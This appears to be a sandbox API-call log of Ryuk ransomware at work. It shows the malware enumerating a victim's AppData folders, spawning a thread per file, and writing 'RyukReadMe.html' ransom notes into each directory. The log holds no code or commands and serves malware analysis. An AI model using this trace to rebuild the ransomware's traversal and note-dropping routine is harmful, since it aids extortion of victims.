	[0249.965] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.966] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x620
	[0249.967] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.968] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa16fa710, ftCreationTime.dwHighDateTime=0x1d5bb04, ftLastAccessTime.dwLowDateTime=0x94014e60, ftLastAccessTime.dwHighDateTime=0x1d5b6bf, ftLastWriteTime.dwLowDateTime=0x94014e60, ftLastWriteTime.dwHighDateTime=0x1d5b6bf, nFileSizeHigh=0x0, nFileSizeLow=0xfc86, dwReserved0=0x210, dwReserved1=0x0, cFileName="_B66Lv3zO7vtubgGITA.odt", cAlternateFileName="_B66LV~1.ODT")) returned 1
	[0249.968] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.969] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x624
	[0249.970] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.970] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa16fa710, ftCreationTime.dwHighDateTime=0x1d5bb04, ftLastAccessTime.dwLowDateTime=0x94014e60, ftLastAccessTime.dwHighDateTime=0x1d5b6bf, ftLastWriteTime.dwLowDateTime=0x94014e60, ftLastWriteTime.dwHighDateTime=0x1d5b6bf, nFileSizeHigh=0x0, nFileSizeLow=0xfc86, dwReserved0=0x210, dwReserved1=0x0, cFileName="_B66Lv3zO7vtubgGITA.odt", cAlternateFileName="_B66LV~1.ODT")) returned 0
	[0249.971] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0249.971] SetLastError (dwErrCode=0x0) 
	[0249.971] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.971] GetLastError () returned 0x3
	[0249.971] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0249.971] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.971] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29175f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29175f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29175f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1
	[0249.971] SetLastError (dwErrCode=0x0) 
	[0249.971] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.971] GetLastError () returned 0x3
	[0249.971] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0249.971] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.972] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x210, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0249.972] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0249.972] SetLastError (dwErrCode=0x0) 
	[0249.972] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.972] GetLastError () returned 0x3
	[0249.972] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0249.972] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.972] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 1
	[0249.972] SetLastError (dwErrCode=0x0) 
	[0249.972] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.972] GetLastError () returned 0x3
	[0249.972] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0249.972] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.972] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x210, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0249.973] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0249.973] SetLastError (dwErrCode=0x0) 
	[0249.973] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\virtualstore\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.973] GetLastError () returned 0x3
	[0249.973] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0249.973] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.973] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 0
	[0249.973] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0249.973] SetLastError (dwErrCode=0x0) 
	[0249.973] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.973] GetLastError () returned 0x3
	[0249.973] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18d3c8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18d3c8, lpOverlapped=0x0) returned 0
	[0249.973] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.974] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Apps", cAlternateFileName="")) returned 1
	[0249.974] SetLastError (dwErrCode=0x0) 
	[0249.974] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc
	[0249.974] GetLastError () returned 0xb7
	[0249.974] CloseHandle (hObject=0x4cc) returned 1
	[0249.974] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0249.975] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0249.975] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="2.0", cAlternateFileName="")) returned 1
	[0249.975] SetLastError (dwErrCode=0x0) 
	[0249.975] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x524
	[0249.976] GetLastError () returned 0x0
	[0249.976] WriteFile (in: hFile=0x524, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18cc98*=0x273, lpOverlapped=0x0) returned 1
	[0249.978] CloseHandle (hObject=0x524) returned 1
	[0249.978] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0249.979] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0249.979] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1
	[0249.979] SetLastError (dwErrCode=0x0) 
	[0249.979] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x628
	[0249.979] GetLastError () returned 0x0
	[0249.979] WriteFile (in: hFile=0x628, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18c568*=0x273, lpOverlapped=0x0) returned 1
	[0249.981] CloseHandle (hObject=0x628) returned 1
	[0249.982] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efcd0
	[0249.983] FindNextFileW (in: hFindFile=0x3efcd0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0249.983] FindNextFileW (in: hFindFile=0x3efcd0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="CJW3O3KP.BX7", cAlternateFileName="")) returned 1
	[0249.983] SetLastError (dwErrCode=0x0) 
	[0249.983] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.984] GetLastError () returned 0x3
	[0249.984] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0) returned 0
	[0249.984] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.984] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\*.*", lpFindFileData=0x18b7c0 | out: lpFindFileData=0x18b7c0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x20a, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0249.984] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0249.984] SetLastError (dwErrCode=0x0) 
	[0249.984] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\data\\cjw3o3kp.bx7\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.984] GetLastError () returned 0x3
	[0249.984] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0) returned 0
	[0249.984] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.984] FindNextFileW (in: hFindFile=0x3efcd0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="CJW3O3KP.BX7", cAlternateFileName="")) returned 0
	[0249.985] FindClose (in: hFindFile=0x3efcd0 | out: hFindFile=0x3efcd0) returned 1
	[0249.985] SetLastError (dwErrCode=0x0) 
	[0249.985] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.985] GetLastError () returned 0x3
	[0249.985] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0249.985] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.985] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="DQQ19BCJ.JAX", cAlternateFileName="")) returned 1
	[0249.985] SetLastError (dwErrCode=0x0) 
	[0249.985] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x628
	[0249.985] GetLastError () returned 0xb7
	[0249.985] CloseHandle (hObject=0x628) returned 1
